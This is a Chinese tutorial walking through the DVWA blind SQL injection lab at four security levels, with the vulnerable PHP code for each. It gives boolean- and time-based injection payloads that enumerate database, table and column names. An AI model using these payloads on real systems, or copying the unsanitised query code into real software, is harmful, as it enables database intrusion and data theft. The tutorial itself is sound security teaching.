DVWA之SQL Injection(Blind)

————SQL Injection——(Blind)——

SQL Injection(Blind),即SQL盲注,與一般注入的區(qū)別在于,一般的注入攻擊者可以直接從頁(yè)面上看到注入語(yǔ)句的執(zhí)行結(jié)果,而盲注時(shí)攻擊者通常是無法從顯示頁(yè)面上獲取執(zhí)行結(jié)果,甚至連注入語(yǔ)句是否執(zhí)行都無從得知,因此盲注的難度要比一般注入高。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注。

DVWA-1.9系列一共分為10個(gè)功能模塊:
Brute Force(暴力破解)
Command Injection(命令行注入)
CSRF(跨站請(qǐng)求偽造)
File Inclusion(文件包含)
File Upload(文件上傳)
Insecure CAPTCHA(不安全的驗(yàn)證碼)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站腳本)
XSS(Stored)(存儲(chǔ)型跨站腳本)

————手工————盲注————思路————

手工盲注的過程,就像你與一個(gè)機(jī)器人聊天,這個(gè)機(jī)器人知道的很多,但只會(huì)回答“是”或者“不是”,因此你需要詢問它這樣的問題,例如“數(shù)據(jù)庫(kù)名字的第一個(gè)字母是不是a???”,通過這種機(jī)械的詢問,最終獲得你想要的數(shù)據(jù)。

盲注分為基于布爾的盲注、基于時(shí)間的盲注以及基于報(bào)錯(cuò)的盲注,這里由于實(shí)驗(yàn)環(huán)境的限制,只演示基于布爾的盲注與基于時(shí)間的盲注。

下面簡(jiǎn)要介紹手工盲注的步驟(可與之前的手工注入作比較):

1.判斷是否存在注入,注入是字符型還是數(shù)字型

2.猜解當(dāng)前數(shù)據(jù)庫(kù)名

3.猜解數(shù)據(jù)庫(kù)中的表名

4.猜解表中的字段名

5.猜解數(shù)據(jù)

下面對(duì)四種級(jí)別的代碼進(jìn)行分析。

————Low————

服務(wù)器端核心代碼

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?> 

可以看到,Low級(jí)別的代碼對(duì)參數(shù)id沒有做任何檢查、過濾,存在明顯的SQL注入漏洞,同時(shí)SQL語(yǔ)句查詢返回的結(jié)果只有兩種,‘

User ID exists in the database.

‘與‘

`User ID is MISSING from the database.`

‘,因此這里是SQL盲注漏洞。

————漏洞利用————

首先演示————基于布爾的盲注————:

1.判斷是否存在注入,注入是字符型還是數(shù)字型

輸入1,顯示相應(yīng)用戶存在:

輸入1’ and 1=1 #,顯示存在:

輸入1’ and 1=2 #,顯示不存在:

說明存在字符型的SQL盲注。

2.猜解當(dāng)前數(shù)據(jù)庫(kù)名

想要猜解數(shù)據(jù)庫(kù)名,首先要猜解數(shù)據(jù)庫(kù)名的長(zhǎng)度,然后挨個(gè)猜解字符。

輸入1’ and length(database())=1 #,顯示不存在;

輸入1’ and length(database())=2 #,顯示不存在;

輸入1’ and length(database())=3 #,顯示不存在;

輸入1’ and length(database())=4 #,顯示存在:

說明數(shù)據(jù)庫(kù)名長(zhǎng)度為4。

下面采用二分法猜解數(shù)據(jù)庫(kù)名。

輸入1’ and ascii(substr(databse(),1,1))>97 #,顯示存在,說明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值大于97(小寫字母a的ascii值);

輸入1’ and ascii(substr(databse(),1,1))<122 #,顯示存在,說明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于122(小寫字母z的ascii值);

輸入1’ and ascii(substr(databse(),1,1))<109 #,顯示存在,說明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于109(小寫字母m的ascii值);

輸入1’ and ascii(substr(databse(),1,1))<103 #,顯示存在,說明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于103(小寫字母g的ascii值);

輸入1’ and ascii(substr(databse(),1,1))<100 #,顯示不存在,說明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值不小于100(小寫字母d的ascii值);

輸入1’ and ascii(substr(databse(),1,1))>100 #,顯示不存在,說明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值不大于100(小寫字母d的ascii值),所以數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值為100,即小寫字母d。

重復(fù)上述步驟,就可以猜解出完整的數(shù)據(jù)庫(kù)名(dvwa)了。

3.猜解數(shù)據(jù)庫(kù)中的表名

首先猜解數(shù)據(jù)庫(kù)中表的數(shù)量:

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在

說明數(shù)據(jù)庫(kù)中共有兩個(gè)表。

接著挨個(gè)猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在

說明第一個(gè)表名長(zhǎng)度為9。

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在

說明第一個(gè)表的名字的第一個(gè)字符為小寫字母g。

重復(fù)上述步驟,即可猜解出兩個(gè)表名(guestbook、users)。

4.猜解表中的字段名

首先猜解表中字段的數(shù)量:

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在

說明users表有8個(gè)字段。

接著挨個(gè)猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在

說明users表的第一個(gè)字段為7個(gè)字符長(zhǎng)度。

采用二分法,即可猜解出所有字段名。

5.猜解數(shù)據(jù)

同樣采用二分法。

還可以使用————基于時(shí)間的盲注————:

1.判斷是否存在注入,注入是字符型還是數(shù)字型

輸入1’ and sleep(5) #,感覺到明顯延遲;

輸入1 and sleep(5) #,沒有延遲;

說明存在字符型的基于時(shí)間的盲注。

2.猜解當(dāng)前數(shù)據(jù)庫(kù)名

首先猜解數(shù)據(jù)名的長(zhǎng)度:

1’ and if(length(database())=1,sleep(5),1) # 沒有延遲

1’ and if(length(database())=2,sleep(5),1) # 沒有延遲

1’ and if(length(database())=3,sleep(5),1) # 沒有延遲

1’ and if(length(database())=4,sleep(5),1) # 明顯延遲

說明數(shù)據(jù)庫(kù)名長(zhǎng)度為4個(gè)字符。

接著采用二分法猜解數(shù)據(jù)庫(kù)名:

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲

1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲

說明數(shù)據(jù)庫(kù)名的第一個(gè)字符為小寫字母d。

重復(fù)上述步驟,即可猜解出數(shù)據(jù)庫(kù)名。

3.猜解數(shù)據(jù)庫(kù)中的表名

首先猜解數(shù)據(jù)庫(kù)中表的數(shù)量:

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲

說明數(shù)據(jù)庫(kù)中有兩個(gè)表。

接著挨個(gè)猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲

說明第一個(gè)表名的長(zhǎng)度為9個(gè)字符。

采用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的數(shù)量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲

說明users表中有8個(gè)字段。

接著挨個(gè)猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲

說明users表的第一個(gè)字段長(zhǎng)度為7個(gè)字符。

采用二分法即可猜解出各個(gè)字段名。

5.猜解數(shù)據(jù)

同樣采用二分法。

————Medium————

服務(wù)器端核心代碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

可以看到,Medium級(jí)別的代碼利用mysql_real_escape_string函數(shù)對(duì)特殊符號(hào)

\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,同時(shí)前端頁(yè)面設(shè)置了下拉選擇表單,希望以此來控制用戶的輸入。

————漏洞利用————

雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數(shù)id,提交惡意構(gòu)造的查詢參數(shù)。

之前已經(jīng)介紹了詳細(xì)的盲注流程,這里就簡(jiǎn)要演示幾個(gè)。

首先是————基于布爾的盲注————:

抓包改參數(shù)id為1 and length(database())=4 #,顯示存在,說明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;

抓包改參數(shù)id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;

抓包改參數(shù)id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273為users的16進(jìn)制),顯示存在,說明uers表有8個(gè)字段。

然后是————基于時(shí)間的盲注————:

抓包改參數(shù)id為1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;

抓包改參數(shù)id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;

抓包改參數(shù)id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說明uers表有8個(gè)字段。

————High————

服務(wù)器端核心代碼

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?> 

可以看到,High級(jí)別的代碼利用cookie傳遞參數(shù)id,當(dāng)SQL查詢結(jié)果為空時(shí),會(huì)執(zhí)行函數(shù)sleep(seconds),目的是為了擾亂基于時(shí)間的盲注。同時(shí)在 SQL查詢語(yǔ)句中添加了LIMIT 1,希望以此控制只輸出一個(gè)結(jié)果。

————漏洞利用————

雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。但由于服務(wù)器端執(zhí)行sleep函數(shù),會(huì)使得基于時(shí)間盲注的準(zhǔn)確性受到影響,這里我們只演示基于布爾的盲注

抓包將cookie中參數(shù)id改為1’ and length(database())=4 #,顯示存在,說明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;

抓包將cookie中參數(shù)id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;

抓包將cookie中參數(shù)id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進(jìn)制),顯示存在,說明uers表有8個(gè)字段。

Impossible

服務(wù)器端核心代碼

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,Impossible級(jí)別的代碼采用了PDO技術(shù),劃清了代碼與數(shù)據(jù)的界限,有效防御SQL注入,Anti-CSRF token機(jī)制的加入了進(jìn)一步提高了安全性
轉(zhuǎn)載地址:http://www.freebuf.com/articles/web/120985.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • SQL盲注,與一般注入的區(qū)別在于,一般的注入攻擊者可以直接從頁(yè)面上看到注入語(yǔ)句的執(zhí)行結(jié)果,而盲注時(shí)攻擊者通常是無法...
    牙疼吃糖閱讀 1,754評(píng)論 1 5
  • Sql注入定義: 就是通過把sql命令插入到web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行...
    付出從未后悔閱讀 752評(píng)論 0 3
  • 時(shí)間:2017.9.29 題目鏈接:www.shiyanbar.com/ctf/1909 解題思路:類型為 boo...
    苗小張的時(shí)光片閱讀 372評(píng)論 0 0
  • 姓名:于川皓 學(xué)號(hào):16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無涯_cc76閱讀 2,044評(píng)論 0 2
  • 杯子與水的關(guān)系讓我想起了禁止與引誘。 2017年11月14日 星期二 晴 長(zhǎng)夜漫漫,杯子說:“我好空虛,好寂寞...
    尊敬的王二閱讀 854評(píng)論 29 40

友情鏈接更多精彩內(nèi)容